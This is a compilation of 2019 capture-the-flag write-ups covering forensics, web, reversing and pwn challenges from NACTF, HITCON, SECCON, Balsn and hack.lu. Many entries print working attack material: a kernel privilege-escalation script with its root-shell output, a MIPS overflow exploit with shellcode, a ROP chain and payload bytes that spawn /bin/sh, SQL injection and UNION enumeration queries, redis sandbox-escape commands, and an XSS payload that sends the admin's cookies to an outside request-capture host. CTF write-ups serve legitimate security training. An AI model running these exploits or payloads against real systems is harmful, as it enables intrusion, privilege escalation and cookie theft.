#### Hint> You are going to have to find a way to remove the PDF from inside the other PDF file.
#### File- [MeltedFile.pdf](Files/kellen-sandwich/MeltedFile.pdf)
#### SolutionOpen pdf file to get 1st part of flag.Then run `foremost MeltedFile.pdf`, we will extract an other pdf file, containing the 2nd part of flag.
#### Flag`nactf{w3_l0v3_w0rld_0f_t4nk5ejwjfae}`
***
## Filesystem Image (200)
#### Description> Put the path to flag.txt together to get the flag! for example, if it was located at ab/cd/ef/gh/ij/flag.txt, your flag would be nactf{abcdefghij}
#### Hint> Check out loop devices on Linux
#### File- [fsimage.iso.gz](Files/filesystem/fsimage.iso.gz)
#### SolutionExtract to file fsimage.iso. Right click *Open With Disk Image Mounter*.Go to the mounted folder. Run```bashfind -name 'flag.txt'```
#### Flag`nactf{lqwkzopyhu}`
***
## Phuzzy Photo (250)
#### Description> Joyce's friend just sent her this photo, but it's really fuzzy. She has no idea what the message says but she thinks she can make out some black text in the middle. She gave the photo to Oligar, but even his super eyes couldn't read the text. Maybe you can write some code to find the message?Also, you might have to look at your screen from an angle to see the blurry hidden textP.S. Joyce's friend said that part of the message is hidden in every 6th pixel
#### File- [The_phuzzy_photo.png](Files/The_phuzzy_photo.png)
#### Solution```pythonfrom PIL import Image
im = Image.open('../Files/The_phuzzy_photo.png')im2 = Image.new('RGB', (300, 300))im2.putdata(list(im.getdata())[::6])im2.show()```
#### Flag`nactf{u22y_boy5_un1t3}`
***
## File recovery (300)
#### Description> JUh oh! Lillian has accidentally deleted everything on her flash drive! Here's an image of the drive; find the PNG and get the flag.
#### Hint> Although the file entry is gone from the filesystem, its contents are still on disk
> If only there were tools to find file signatures...
#### File- [filerecovery.iso.gz](Files/filerecovery/filerecovery.iso.gz)
#### Solution```bashforemost filerecovery.iso```Go and get flag
#### Flag`nactf{f1l3_r3c0v3ry_15_c0ol}`
***# Web Exploitation***
## Pink Panther (50)
#### Description> Rahul loves the Pink Panther. He even made this website:http://pinkpanther.web.2019.nactf.com. I think he hid a message somewhere on the webpage, but I don't know where... can you INSPECT and find the message?https://www.youtube.com/watch?v=2HMSnfeNf8c
#### Hint> This might be slightly more difficult on some browsers than on others. Chrome works well.
#### SolutionJust view source, you will see **Flag**
#### Flag`nactf{1nsp3ct_b3tter_7han_c10us3au}`
***
## Scooby Doo (100)
#### Description> Kira loves to watch Scooby Doo so much that she made a website about it! She also added a clicker game which looks impossible. Can you use your inspector skills from Pink Panther to reveal the flag?
> http://scoobydoo.web.2019.nactf.com
#### SolutionView-source:```html<div id="flagContainer"> ... </div>```To get flag, we need to change the opacity of `` tags to **1**
#### Flag`nactf{ult1m4T3_sh4ggY}`
***
## Dexter's Lab (125)
#### Description> Dee Dee,Please check in on your brother's lab at http://dexterslab.web.2019.nactf.com We know his username is Dexter, but we don't know his password! Maybe you can use a SQL injection?Mom + Dad
#### SolutionUse a basic SQL Injection `' or 1=1#` and we got **flag**.
#### Flag`nactf{1nj3c7ion5_ar3_saf3_in_th3_l4b}`
***
## Sesame Street (125)
#### Description> Surprisingly, The20thDuck loves cookies! He also has no idea how to use php. He accidentally messed up a cookie so it's only available on the countdown page... Also why use cookies in the first place?
> http://sesamestreet.web.2019.nactf.com
#### Hint> The20thDuck's web development skills are not on the right PATH...
#### SolutionGo to http://sesamestreet.web.2019.nactf.com/countdown.php.Edit cookie `session-time`, change the `Path` to `flag.php`, change the `value` to a large number such as `2568986265`. Finally, go to http://sesamestreet.web.2019.nactf.com/flag.php, we will got **flag**
#### Flag`nactf{c000000000ki3s}`
******Hope you enjoy the game*** |
# HITCON CTF Quals - 2019
## Misc / 198 - EmojiiVM
> It's time to test your emoji programming skill!>> Make sure to check out [readme.txt](./readme.txt) before you enter the challenge :)>> `nc 3.115.122.69 30261`>> Notice:>> Make sure you send exact N bytes after you input N as your file size.>> Otherwise the server might close the connection before it print out the flag !>>> Author: bruce30262>> 66 Teams solved.
### Solution
By [@jaidTw](https://github.com/jaidTw)
It's basically an assembly language challenge and the solution must < 2000 bytes.Computing branch target is bothering because address should be composed from 0 ~ 10, but we can use `NOP` padding to avoid affecting adderss.
[sol.em](./sol.em)[misc.py](./misc.py) |
# SECCON CTF Quals - 2019
## Rev / 225 - follow-me
> I have an execution trace of calc, but I forgot what I inputted. Can you submit the input (formula) which follows my execution trace to my server?> > Challenge server> > Server compares branch instructions' behavior of your input's and original execution traces, and gives you flag if these are the same.> > NOTE: You MUST NOT attack challenge server (including too frequent access).> > Location: http://follow-me.chal.seccon.jp/> > Sample curl command to submit formula: curl -q -H 'Content-Type:application/json' -d "{\"input\": \"your formula comes here\"}" http://follow-me.chal.seccon.jp/submit/quals/0> > Attached files> > * Executed binary (excluding dynamic libraries): [calc](calc)> * Execution trace generated by tracer: [calc.trace](./calc.trace)> * Source code of tracer developed on the top of Pin: [branchtrace.cpp](./branchtrace.cpp)
### Solution
By [@jaidTw](https://github.com/jaidTw)
Credits to [@raagi](https://github.com/nashi5566)
Three files were given:* Executable* Source code of trace using Pin framework* Output of the tracer
We must craft the input to make the program generate a same trace as the one given to get the flag.
Here' s the format of the output trace:```json[{"event": "image_load", "image_name": "/home/tomori/follow-me/build/sample/calc", "image_id": 1, "base_addr": "0x55f6b4d44000", "image_size": "0x1377"},{"event": "image_load", "image_name": "/lib64/ld-linux-x86-64.so.2", "image_id": 2, "base_addr": "0x7f13ae220000", "image_size": "0x26c23"},{"event": "image_load", "image_name": "[vdso]", "image_id": 3, "base_addr": "0x7ffc2b775000", "image_size": "0x100a"},{"event": "image_load", "image_name": "/lib/x86_64-linux-gnu/libc.so.6", "image_id": 4, "base_addr": "0x7f1399a39000", "image_size": "0x3f0adf"},{"event": "branch", "inst_addr": "0x55f6b4d445de", "next_inst_addr": "0", "branch_taken": true},{"event": "branch", "inst_addr": "0x55f6b4d44f44", "next_inst_addr": "0", "branch_taken": false},{"event": "branch", "inst_addr": "0x55f6b4d44765", "next_inst_addr": "0", "branch_taken": true},...{"event": "exit", "exit_code": 0}]```All branches were recorded, thus out input should make program run in an identical control flow.
First, by reversing the binary, we know it's a simple calculator, which input is a postfix expression, functions including `+`, `-`, `*`, `m`(min), `M`(max) and `C`(combination).
Then, we have to find out the meaning of those addresses. Find the instruction in the binary by using last 12 bits of address (didn't affected by ASLR), wrtie down their branch type and whether if they were taken.
We use this [script](./trans.py) to translate the output into a more readable form.```# main if ( argc <= 1 ) False# malloc@plt True# calloc@plt True# Unconditional
# formula_parse while( *f ) True# formula_parse if ( *f == ',' ) False# formula_parse if ( chr <= '/' ) False# formula_parse if ( chr > '9' ) False# Unconditional
# formula_parse while( *f ) True# formula_parse if ( *f == ',' ) False# formula_parse if ( chr <= '/' ) False# formula_parse if ( chr > '9' ) False# Unconditional
# formula_parse while( *f ) True# formula_parse if ( *f == ',' ) False# formula_parse if ( chr <= '/' ) False# formula_parse if ( chr > '9' ) False# Unconditional
# formula_parse while( *f ) True# formula_parse if ( *f == ',' ) True# formula_parse ( type == 1 ) True# push if ( s->len > 999u ) True# Unconditional```
We split the trace by the main `while` loop in `formula_parse`, now each block stands for an iteration, and there are many same blocks. Each type of block stands for a character (e.g. the block in the code above stands for digit, digit, digit, comma, respectively.), which means we can substitute these block with characters after we find their mapping.
By checking those branch, finnaly we get the format of input:
```DDD,DDD,DDD,DDD,DDD,DDDD,DDD,mm-mM-DDD,DDD,DDD,mm-DDD,DDD,DDD,DDD,DDD,-+(4)-M+(8)DDD,DDD,DDD,mm*(1:6)D : digit+(n) : +, iterates n times*(n:m) *, add inside the n-th iteration of the outer loop iterates m times```
We have to fill in the numbers, to make it satisfy the constraints related to the repetition times in `add` and `mul`.* Iterations of the loop in `add` equals the ones digit of the second parameter.* Iterations of the outer loop in `mul` equals the value of the second parameter. The first parameter of `mul` is pass to second parameter of `add` in the inner loop, thus the iterations of the innter loop equals to the ones digit of the first parameter of `mul`.
It's not hard to satisfy these constaints, here's our solution(with indentation and parentheses)```[ [ [ [ 008,[ 000,[ 000,[ 000,[ 000,[ 0000,000,m ]m ]- ]m ]M ]- ] [ 000,[ 000,000,m ]m ] ]- [ 000,[ 011,[ 000,[ 004,001,- ]+(4) ]- ]M ]+(8) ] [ 001,[ 001,001,m ]m ]*(1:6)]```
Get rid of the parentheses:```008,000,000,000,000,0000,000,mm-mM-000,000,000,mm-000,011,000,004,001,-+-M+001,001,001,mm*``````$ curl -q -H 'Content-Type:application/json' -d "{\"input\": \"008,000,000,000,000,0000,000,mm-mM-000,000,000,mm-000,011,000,004,001,-+-M+001,001,001,mm*\"}" http://follow-me.chal.seccon.jp/submit/quals/0{"error":false,"flag":"SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}","message":"Thanks! I'll give you a flag as a thank you."}``` |
https://github.com/bootplug/writeups/tree/master/2019/hacklu/misc/BreaktimeRiddle
TL;DR
This problem corresponds to "[The Hardest Logic Puzzle Ever](https://en.wikipedia.org/wiki/The_Hardest_Logic_Puzzle_Ever)", just in code form. A, B, C corresponds to the three gods, and the X corresponds to whether "da" means "yes". The Wikipedia article is lengthy enough, but the gist of it is that you need to:
1. Figure out one of A, B or C that are guaranteed to **not** be random. Direct future questions to this entity.2. Ask 2 boolean questions that each reveal a new fact about the remaining values.3. With 3 unique facts, you have enough information to find the current permutation of `[0,1,2]` that corresponds to A, B and C. |
# Balsn CTF 2019
Balsn CTF was one of the most difficult games I played throughout this year. Due to my lack of pwning skills, I could only solve two challenges: KrazyNote and SecureCheck. I spent about 30 hours on KrazyNote, a linux kernel exploitation challenge. Since it is my first time solving a kernel pwnable in a decent CTF and I learned a lot from that challenge, I will publish a write-up in detail.
## SecureCheckIt is a very simple challenge. The pseudocode of the challenge is this:
```cint main() { int wstatus; void *sc = mmap(RWX); read(0, sc, 0x1000);
pid_t pid = fork(); if (pid) { wait(&wstatus); if (wait == 0) { clear_all_registers(); sc();} }
else { install_seccomp(); clear_all_registers(); sc(); }
}```
I analyzed the seccomp rules with [this](https://github.com/david942j/seccomp-tools), and it showed that I am allowed to execute only two system calls: exit and exit_group.The cool thing is that if the exit status for the child is 0, the parent executes the shellcode as well, which is not sandboxed. We must find a way to distinguish parent and child.
There can be many ways. My first idea was to search for special data in the stack. Since the child has init_seccomp() called, seccomp filter is in its stack, unlike is parent. By searching the stack, the shellcode can check if it is being executed in the child process or not. Sadly, this is hard because the RSP pointer is zero'ed out. There are dirty tricks such as accessing the libc via relative addresses to RIP (mmap'ed pages are contiguos) and fetching a stack address in `environ`, but this was a libc dependent solution so I quickly gave up.
My solution was that, if we have a random number generator of any sort, we can distinguish the parent and child. Assuming we have a 0/1 single bit randomizer and there is a conditional jump depending on this random value, we can execute different code in the parent and child with about a chance of 1/4, which is realistic enough. My random source was the TSC register, the super-sensitive timestamp register. The `rdtsc` instruction saves the timestamp in EAX:EDX, so I can use the lowest bit of EAX as the random source. My shellcode code is the following:
```asmrdtscmov rdx, 0xfffff.randomTimeWaste: dec rdx cmp rdx, 0 jne .randomTimeWaste
and rax, 1cmp rax, 1je .parent.child: mov rax, 60 mov rdi, 0 syscall.parent: mov rax, 59 lea rdi, [rip+binshStr] mov rsi, 0 mov rdx, 0 syscall
binshStr: .string "/bin/sh"```
At a chance of 1/4, the parent pops a shell which gives us the flag.
## KrazyNote
I have lots to talk about this challenge, so I wrote a blogpost about it.[Check it out](https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html) if you're curious. |
Disclaimer: I did not solve this during the CTF.
This is a very detailed analysis of Balsn's exploit script for this challenge.
I have removed some parts of the exploit that were redundant, and changed some parts of the exploit script to fix what I removed.
The stack pivoting technique that is used by Balsn in this exploit script is something I've never seen before, and it is absolutely amazing.
Hopefully the writeup is useful. |
[@javierprtd](https://twitter.com/javierprtd)
```# -*- coding:utf-8 -*-from pwn import *
IOCTL_READ = 901IOCTL_WRITE = 902
OFFSET_COMM = 0x408OFFSET_TASKS = 0x210 e = ELF('./vmlinux')
def menu(n): io.recvuntil("> ") io.sendline(str(n))
def read(p): menu(1) io.recvuntil(">") io.sendline('{:02x}'.format(p)); io.recvuntil("Got everything I need. Let's do it!") io.recvuntil("We're back. Our scouter says the power level is: ") return int(io.recv(16).ljust(16, '\0'), 16)
def write(p, v): menu(2) io.recvuntil(">") io.sendline('{:02x}'.format(p)) io.recvuntil(">") io.sendline('{:02x}'.format(v))
def show_id(): menu(3) print io.recvline() + io.recvline()
def read_file(name): menu(4) io.recvuntil(">") io.sendline(name) print io.recvline() + io.recvline() + io.recvline()
def exit(): menu(6)
io = remote("babykernel2.forfuture.fluxfingers.net", 1337)init_task = e.sym['init_task']init_cred = e.sym['init_cred']print "[+] init_task: 0x%08x" % init_taskprint "[+] init_cred: 0x%08x" % init_cred
comm = ""task = 0;ptask = init_task;while task != init_task: task = read(ptask + OFFSET_TASKS) - OFFSET_TASKS; comm = read(task + OFFSET_COMM); process = '{:02x}'.format(comm).decode("hex")[::-1] print "[+] 0x%08x -> %s" % (task, process) if "client_k" in process: break ptask = task
write(task + OFFSET_COMM - 8 , init_cred)write(task + OFFSET_COMM - 16, init_cred)
io.interactive()
'''[+] Opening connection to babykernel2.forfuture.fluxfingers.net on port 1337: Done[+] init_task: 0xffffffff8181b4c0[+] init_cred: 0xffffffff8183f4c0[+] 0xffff888000028000 -> init\x00er[+] 0xffff888000029180 -> kthreadd[+] 0xffff88800002a300 -> rcu_gp\x00d[+] 0xffff88800002b480 -> rcu_par_[+] 0xffff88800002c600 -> kworker/[+] 0xffff88800002d780 -> kworker/[+] 0xffff88800002e900 -> kworker/[+] 0xffff888000058000 -> mm_percp[+] 0xffff888000059180 -> ksoftirq[+] 0xffff88800005a300 -> rcu_pree[+] 0xffff88800005b480 -> rcu_sche[+] 0xffff88800005c600 -> rcu_bh\x00d[+] 0xffff88800005d780 -> kdevtmpf[+] 0xffff88800005e900 -> rcu_task[+] 0xffff888000118000 -> kworker/[+] 0xffff888000119180 -> oom_reap[+] 0xffff88800011a300 -> writebac[+] 0xffff88800011b480 -> kswapd0[+] 0xffff88800011c600 -> acpi_the[+] 0xffff88800011d780 -> kworker/[+] 0xffff88800011e900 -> kworker/[+] 0xffff888003373480 -> sh\x00t\x00er[+] 0xffff888003371180 -> client_k[*] Switching to interactive mode ffffffff8183f4c0Thanks, boss. I can't believe we're doing this!Amazingly, we're back again.----- Menu -----1. Read2. Write3. Show me my uid4. Read file5. Any hintz?6. Bye!> $ 33uid=0(root) gid=0(root)----- Menu -----1. Read2. Write3. Show me my uid4. Read file5. Any hintz?6. Bye!> $ 44Which file are we trying to read?> $ /flag/flagHere are your 0x35 bytes contents: flag{nicely_done_this_is_how_a_privesc_can_also_go}'''``` |
# BabyCSP writeup - 50pts
## What we haveThe chall provide us with a link to a very basic website:

We can create posts, view them and report them to an admin. Nice!
On the top of the website, we can see the [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) rules used:
default-src 'self'; script-src 'self' *.google.com; connect-src *
Maybe we can do an XSS and steal the bot/admin cookies? But first, we need to discover how to bypass CSP in order to execute arbitrary javascript on clients.
## CSP BypassFirst of all, I tried to analyze the chall CSP rules with the [Google CSP Evaluator Tool](https://csp-evaluator.withgoogle.com/):

Seems good: we can use a JSONP endpoint to bypass CSP.
Searching on the web, I found a list of endpoints on *.google.com [here](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt).
I chose to use this endpoint: https://accounts.google.com/o/oauth2/revoke?callback=YOUR-JAVASCRIPT-HERE
So, now, we can try to inject javascript including this link as a script inside posts.
## Stealing admin cookiesI wrote, just to try, the following post:`<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>` and a nice popup appeared when I opened the post.
Someone here forgot to sanitize inputs :P

I then prepared a [RequestBin](https://requestbin.com) to receive admin cookies, I created a post with the following payload (everything after "callback=" is urlencoded, just to be sure):
<script src="https://accounts.google.com/o/oauth2/revoke?callback=window.location.href%3D%27https%3A%2F%2Fen5pzvwnw7lrc.x.pipedream.net%3Fa%3D%27%2Bdocument.cookie%3B"></script>
And I reported it to the admin.
Fewer minutes later, I received this request directly containing the flag: |
https://ar9ang3.tistory.com/33
sqli vuln to extract `key` and `timestamp`
we can predict admin user's password by `his/hers keyboard typing habbit`
```People tend to type key combinations faster if they use them frequently, like in their passwords for example.``` |
# No Risc, No Future
## baby-pwn - Points: 215
> We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don't use CISC architectures.>> Let's start learning another architecture today!>> [Download challenge files](no_risc_no_future_e06100f3fc1847eb06ed06749beeae25.zip)>> [Download challenge files including docker setup](no_risc_no_future_7cb1ade0963d2236d1cf6e58750be043.zip)
You were given a ELF 32-bit MIPS executable and `QEMU` binary that lets you easily run the program.
Running `checksec no_risc_no_future` shows the enabled security mechanisms:
Arch: mips-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
Only stack canaries are enabled and since `NX` is disabled we have `RWX` segments what allows us to execute shellcode on the stack, if we find a buffer overflow.
Decompiling the MIPS binary in `Ghidra` shows what it is essentially doing:
```cundefined4 main(void){ int iStack80; char acStack76 [64]; int iStack12; iStack12 = __stack_chk_guard; iStack80 = 0; while (iStack80 < 10) { read(0,acStack76,0x100); puts(acStack76); iStack80 = iStack80 + 1; } if (iStack12 != __stack_chk_guard) { __stack_chk_fail(); } return 0;}```
The program `read`s up to 0x100 characters from `stdin` and prints that data out by using `puts`. This is repeated 10 times in the loop. Since the destination buffer for the input has only 64 characters size, we have a buffer overflow. To get code execution we can overwrite the `RIP` but since stack canaries are enabled, we have to leak that value before.
Stack canary values end with zero bytes what makes it more difficult to read them, since most functions stop at zero bytes because they identify the end of string.
The stack canary variable `__stack_chk_guard` lies in the memory right after the buffer for our input and `puts` will read the buffer till it encounters a zero byte. So if we overwrite the buffer, we would corrupt the canary value, but can overwrite that zero byte, so that `puts` will print out our buffer and the canary value! Since `read` terminates our input with `\xa0` (linefeed) we can fill the buffer with 64 bytes, and the linefeed will overwrite the zero byte of the canary value.
We have now bypassed the stack canary protection and can in the next turn completely overwrite the buffer and modify the `RIP` to jump right behind it where we place our shellcode. I debugged the binary in `gdb` and found `0x7ffffd40` as good address to jump to. MIPS shellcode generated with `shellcraft` worked quite good, I only had to add some `NOP`s before it.
The full exploit code looks like this:
```pythonfrom pwn import *
context.arch = 'mips'
shellcode = asm(shellcraft.mips.linux.sh())
# p = remote('localhost', 1338)p = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
p.sendline('A'*64)p.recvuntil('\n')
canary = u32('\x00'+p.recv(3))p.recv(1)log.info('canary: {}'.format(hex(canary)))
p.sendline('A'*64+p32(canary)+'A'*4+p32(0x7ffffd40)+'\x00'*16+shellcode)
for i in range(8): p.sendline('') p.recvuntil('\n\n')
p.interactive()```
flag: `flag{indeed_there_will_be_no_future_without_risc}` |
We are given a way to craft fake chunks as much as we want in the `.bss` segment.
Using this, we first leak a libc address by crafting a fake chunk in the `.bss` segment.
Then use a fastbin poisoning attack to get a chunk inside the `main_arena` to overwrite the top chunk pointer to somewhere in `__free_hook-0x1100`.
Then use the fastbin poisoning attack to get a chunk right on top of the global chunk array so we can overwrite it with 0 and have as many chunks as we want.
Then allocate enough chunks to reach `__free_hook` and overwrite it with `system` to get RCE.
A different solution is also provided in the writeup. |
## Reversing - random_pitfalls
We are given the binary, which:
* `mmap`s 64 consecutive `PROT_NONE` pages.* Randomly selects 32 of them, and `mprotect`s them to `PROT_READ|PROT_WRITE`.* Places 40-byte random values into the first 31 of them.* Places `flag ^ value[0] ^ ... ^ value[30]` into the last one.* Disables all syscalls except `write(1, buf, 40)` and `exit`.* Reads shellcode from stdin.* Prepends a prologue, which clears all general purpose registers except `rdi` and `rsi` (including `rsp`!).* Calls the shellcode, passing the address of the first page as `rdi` and the address of the buffer as `rsi`.
The gist of the task is to find a way to determine whether a page is readablewithout relying on the OS. Indeed, we need to correctly determine which 32 pagesare mapped, and xor all the corresponding 40-byte values in order to get theflag. An incorrect guess would lead to a segfault, and on the next attempt we'llsee some completely new new values.
Still, the way pages are randomly chosen looks a bit weird, let's write asimilar loop in python and see if the distribution it produces is biased.. no,for all practical intents and purposes, it's not.
Second guess - Spectre-like approach, when we would try to provoke speculativeaccesses to those pages and measure differences in timings. Sounds complicated,let's leave this as a last resort.
Third guess - a specialized machine instruction. Let's check out Volume 2 ofIntel Manual. And let's start with Chapter 5 (V-Z) and move backwards, becauseis's fun (no, seriously, that was the solution process!). The first instructionwe encounter this way is: `XTEST - Test If In Transactional Execution`. Thisparticular one is irrelevant, but - What Happens To Page Faults If InTransactional Execution?
Quick test:
```#include <assert.h>#include <stddef.h>#include <stdio.h>#include <sys/mman.h>#include <unistd.h>
static inline int is_mapped(void *p) { long long rax; asm("mov $-1,%%rax\n" "xbegin 0f\n" "mov 0(%[p]),%%rbx\n" "xend\n" "0: mov %%rax,%[rax]\n" : [rax] "=r" (rax) : [p] "r" (p) : "rax", "rbx"); return rax == -1;}
int main() { assert(getpagesize() == 4096); void *m0 = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); assert(m0 != MAP_FAILED); void *m1 = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); assert(m1 != MAP_FAILED); *(long long *)m1 = 1; for (;;) { assert(!is_mapped(m0)); assert(is_mapped(m1)); }}```
The code loads `-1` into `rax`, initiates a transaction, dereferences a pointer,and ends a transaction. When transaction is aborted for whatever reason, `rax`receives a reason code (`-1` is not a valid reason code), otherwise it stays asis. Turns out a page fault is a completely valid reason to abort a transactionwithout calling an interrupt handler! That's why, by the way, `*(long long *)m1= 1` is very important in this test, pages allocated by `mmap` are mapped onlyon first access, which, if it happens inside a transaction, never reaches the`#PF` handler.
With that knowledge, implementing shellcode is trivial, and we get the flag:`SECCON{7h1S_ch4L_Is_in5p1r3d_by_sgx-rop}`. The SGX ROP article turned out to befantastic, by the way - a very much recommended read. |
# Nucular Power Plant
## baby-web - Points: 105
> We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?>> http://31.22.123.49:1909
When inspecting the source code of the website, you will quickly stumble over the `main.js` and some communication via a `WebSocket`. It receives `JSON` messages in different types. It will at first receive an `Array` and call the `plantList`, that contains all the power plants that are visible in the list. As soon as you select a power plant, it will receive data for `plantDetails`, the information shown in the center and then continuously receive data of type `number`, some random values, to update the current power supply state.
To reveal the data in `Chromium`, open the `DevTools` (F12), goto the `Sources` tab and open the `main.js` and add `console.log(data);` right after the parsing of the message.
The interesting part is, how the selection of a plant is handled: When you select a plant, it sends the name of it over the socket. If you probe for `SQLi`, for example by modifying `ws.send('" foo');`, it returns the string
Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("near \"foo\": syntax error"))
So it is `SQLite` database and it is vulnerable! :)
With `ws.send('" OR "1"="1" LIMIT 1 OFFSET 1;');` where you are free to change the `offset` you can force to load specific data, but there seems to be nothing more interesting in the table.
Lets try to enumerate all the tables of the database, [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) has some useful queries for this:
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
But we have to make it compatible for our query, we can do a `UNION` and add some dummy data to keep the structure of the initial `SELECT` that we can not change. The following query will now print the table name as the plant name:
ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%";');
And we get as a result `nucular_plant` as table name. Are there more tables?
ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%" LIMIT 1 OFFSET 1;');
Oh, there is also another table named `secret`! :)
Lets try to enumerate the column names:
ws.send('" UNION SELECT sql, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name NOT LIKE "sqlite_%" AND name ="secret";');
And we get as result the structure of the table:
CREATE TABLE secret (id INTEGER PRIMARY KEY,name TEXT NOT NULL,value TEXT NOT NULL)
Lets read it out:
ws.send('" UNION SELECT name, value, id, 0, "foo", 0 FROM secret;');
flag: `flag{sqli_as_a_socket}` |
Execute arbitrary redis commands using `_POST[MY_SET_COMMAND]=<command>&_POST[TEST_KEY]=<arg1>&_POST[TEST_VALUE]=<arg2>` in the query string. Use `setmetatable(_G, nil)` to circumvent global protections in redis and finally redefine `math.random` using `for k, v in pairs(math) do rawset(math, k, function() return 4 end) end`. |
```$ checksec chat[*] '/misc/projects/Chat/chat' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)```
```$ ./chatCommand Channel:> /hCommand Commands: /nc - New Chat Channel - Create and join a new Chat Channel. /jc x - Join Chat Channel - Join the Chat Channel number x. /lc - List Chat Channels - Lists the Chat Channels. /q - Quit - Quit this awesome chat program. /h - Help - Print this help message.> /ncChat Channel 1:> /hChat Commands: /e - Echo - The first line following this command specifies the number of characters to echo. /pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open. /qc - Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated. /h - Help - Print this help message.That's all for now :/> ```
The number of characters to echo are read with `fgets` and converted to an integer with `atoi`. Afterwards the memory for the characters is allocated with `alloca`. One cannot wrap esp around with `alloca` by providing a negative number of characters to echo, as the actual characters are also read with `fgets`. And `fgets` doesn't accept a negative size.
Idea:
* There is enough space in the command variable to place the string '/bin/sh', argv, and envp in the bss section.* Create two channels and allocate enough memory with `alloca` via the echo command in the first channel to write to the stack of the second channel.* ROP to execve.
```# create channel 1/nc\n# pause channel 1 and return to command channel/pc\n
# create channel 2/nc\n# pause channel 2 and return to command channel/pc\n
# join channel 1 again/jc 1\n
# echo a message/e\n# length of the message is 250000 -> we write to the stack of channel 2# + 2 NULL bytes (two because I like 0xC more than 0xB) + '/bin/sh' + NULL byte + addr of '/bin/sh' string in command + NULL dword250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n# send rop code\x00\x00\x00\x00\x40\x74\x0f\x08\x34\x74\x0f\x08\x1e\x90\x04\x08\x2c\x74\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n
# terminate channel 1/qc\n
# join channel 2/jc 2\n```
The function who's return address gets overwritten is `__kernel_vsyscall`:``` → 0xf7ffdb20 <__kernel_vsyscall+0> push ecx 0xf7ffdb21 <__kernel_vsyscall+1> push edx 0xf7ffdb22 <__kernel_vsyscall+2> push ebp 0xf7ffdb23 <__kernel_vsyscall+3> mov ebp, esp 0xf7ffdb25 <__kernel_vsyscall+5> sysenter 0xf7ffdb27 <__kernel_vsyscall+7> int 0x80```This function is called at address 0x08079004 in poll:```.text:08078FE8 loc_8078FE8: ; CODE XREF: poll+19↑j.text:08078FE8 mov [esp+1Ch+var_10], edx.text:08078FEC mov [esp+1Ch+var_14], ecx.text:08078FF0 call __libc_enable_asynccancel.text:08078FF5 mov ecx, [esp+1Ch+var_14].text:08078FF9 mov edx, [esp+1Ch+var_10].text:08078FFD mov esi, eax.text:08078FFF mov eax, 0A8h.text:08079004 call large dword ptr gs:10h.text:0807900B cmp eax, 0FFFFF000h.text:08079010 ja short loc_807903A```
As one can see, the registers ecx and edx are pushed at the beginning of `__kernel_vsyscall`. Therefore, we can set ecx and edx conveniently due to `__kernel_vsyscall`'s pops of these registers before its return.
ROP dissected:```# ebp\x00\x00\x00\x00
# edx -> envp points to NULL dword in command buffer -> envp = [NULL]\x98\x73\x0f\x08
# ecx -> argv points in command buffer -> argv = ["/bin/sh", NULL]\x94\x73\x0f\x08
# ret -> 0x0804901e : pop ebx ; ret\x1e\x90\x04\x08# ebx -> addr of command with '/bin/sh'\x8c\x73\x0f\x08
# ret -> 0x08051cf6 : pop eax ; ret\xf6\x1c\x05\x08# eax -> shell code number\x0b\x00\x00\x00
# ret -> 0x0807D3D0 : int 0x80 ; retn (_dl_sysinfo_int80)\xd0\xd3\x07\x08```
This results in these commands:```$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | ./chat``````$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | nc chat.forfuture.fluxfingers.net 1337```
Apparently, the remote solution required `execve('/bin/sh', ["/bin/sh", NULL], [NULL])` and didn't accept `execve('/bin/sh', [NULL], [NULL])`. However, this text book solution had the first execve to begin with and the requirement hasn't been noticed in time. |
TreesForFuture - hack.lu CTF 2019=================================
> We are TreesForFuture. We actively work towards getting more trees onto this planet. Recently we hired a contractor to create a website for us. While we still need to fill it with content in some places, you can already look at it [http://31.22.123.49:1908]().
* Category: Web* Points at the end of the competition: 500* Solved by 2/972 teams
Write-up by [Marco Squarcina](https://minimalblue.com/) for [WE_0WN_Y0U](https://w0y.at/).
